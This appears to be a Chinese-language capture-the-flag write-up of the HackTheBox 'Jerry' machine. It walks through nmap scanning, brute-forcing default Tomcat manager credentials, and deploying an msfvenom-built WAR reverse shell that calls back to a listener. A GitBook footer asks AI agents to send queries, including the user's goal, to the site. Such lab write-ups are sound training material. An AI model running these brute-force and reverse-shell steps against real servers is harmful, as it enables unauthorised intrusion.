> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/jerry-hackthebox-writeup.md). # Jerry HackTheBox 复盘 Jerry HackTheBox 简单 Windows 机器复盘，涵盖信息泄露、滥用 Tomcat（入侵与提权），并包含实用的枚举、利用、立足点和提权 {% embed url="" %} {% hint style="warning" %} **技能：** * 信息泄露 * 滥用 Tomcat（入侵与权限提升） {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件： ```bash nmap -p- --open -sS -n -min-rate 5000 -Pn 10.10.10.95 -oG allPorts ```

**使用 extractPorts 分析开放端口：** 使用 extractPorts 函数以简洁格式显示开放端口，并将其复制到剪贴板。

**使用 Nmap 进行端口版本扫描：** 使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中： ```bash nmap -sCV -p8080 10.10.10.95 -oN targeted ```

## 8080 端口 - Tomcat 8080 端口上运行着一个服务器 **Apache Tomcat**。使用 `whatweb` 揭示了 **7.0.88** 版本，已知存在漏洞。

### 信息泄露 **连接到管理面板**

我们尝试访问 `/manager/html` 面板，使用默认凭据（例如 `admin:admin`），但这失败了。 {% embed url="" %} /*/* 对标识符/进行暴力破解*/* 我们使用 SecLists `tomcat-betterdefaultpasslist.txt` 字典对凭据执行暴力破解：为了自动化此任务，我们使用一个 Python 脚本： ```bash python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http ``` **结果：** 找到的有效凭据是：/ `tomcat:s3cret`

### Tomcat 漏洞： **1. 生成 WAR 文件：**/ 我们使用 `msfvenom` 创建一个包含反向 shell 的 WAR 文件： ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war ```

**2. 通过 Tomcat Manager 部署：**/ 我们将 WAR 文件上传到 `/manager/html` 面板。

**3. 监听反向 Shell：**/ 我们设置一个监听器来捕获反向连接： ```bash rlwrap nc -nlvp 443 ``` 通过运行已部署文件（`/reverse`），我们在目标机器上获得一个交互式 shell。

### 标志 user.txt + root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/jerry-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.